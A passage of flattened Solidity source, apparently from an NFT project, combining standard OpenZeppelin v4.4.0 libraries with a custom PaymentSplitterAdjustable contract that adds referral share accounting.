* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// Extends functionality of OpenZeppelin Contracts v4.4.0 (finance/PaymentSplitter.sol) to allow adding payees after deployment
// Removes _payees array
// Adds ability to change share distribution, including setting to zero
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitterAdjustable is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _teamShares;
uint256 private _totalReleased;
/**
* @dev Sets aside 10% of the mint for referral payouts, with shares unlocked dynamically
*
* Base weight used to give slight weight to larger referrers, and encourage minters to use actual referral codes versus their own address
*/
uint256 private _referralReservedShares;
uint256 private _referralLockedShares;
uint256 private _referralUnlockedShares;
uint256 private _referralBaseWeight;
uint256 private _referralShareUnlockBaseWeight;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_, uint256[] memory referralBaseArgs_) payable {
// constructor(address[] memory payees, uint256[] memory shares_, uint256 referralStartingShares_, uint256 referralBaseWeight_, uint256 referralShareUnlockBaseWeight_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
_referralReservedShares = referralBaseArgs_[0];
_referralLockedShares = referralBaseArgs_[0];
_referralBaseWeight = referralBaseArgs_[1];
_referralShareUnlockBaseWeight = referralBaseArgs_[2];
for (uint256 i = 0; i < payees.length; i++) {
_setPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
function getReferralReservedShares() public view returns (uint256) {
return _referralReservedShares;
}
function getReferralLockedShares() public view returns (uint256) {
return _referralLockedShares;
}
function getReferralUnlockedShares() public view returns (uint256) {
return _referralUnlockedShares;
}
function getReferralBaseWeight() public view returns (uint256) {
return _referralBaseWeight;
}
function getReferralShareUnlockBaseWeight() public view returns (uint256) {
return _referralShareUnlockBaseWeight;
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _teamShares + getReferralLockedShares() + getReferralUnlockedShares();
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) internal virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
require(address(this).balance + totalReleased() > 0, "PaymentSplitter: account has no transactions, yet");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) internal virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / totalShares() >= alreadyReleased ? (totalReceived * _shares[account]) / totalShares() - alreadyReleased : 0;
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts, without using gas to assign shares and change state.
*/
function calculatePendingPaymentPotential(
uint256 _pendingShares,
uint256 _totalReceived,
uint256 _alreadyReleased
) internal view returns (uint256) {
return (_totalReceived * _pendingShares) / totalShares() >= _alreadyReleased ? (_totalReceived * _pendingShares) / totalShares() - _alreadyReleased : 0;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _setPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
_teamShares -= _shares[account];
_shares[account] = shares_;
_teamShares += _shares[account];
emit PayeeAdded(account, shares_);
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function setPayee(address account, uint256 shares_) internal {
_setPayee(account, shares_);
}
function setPayeeReferrer(address account, uint256 shares_) internal {
require(account != address(0), "PaymentSplitter: account is the zero address");
_referralLockedShares += _shares[account];
_referralUnlockedShares -= _shares[account];
_shares[account] = shares_;
_referralLockedShares -= _shares[account];
_referralUnlockedShares += _shares[account];
_setPayee(account, shares_);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
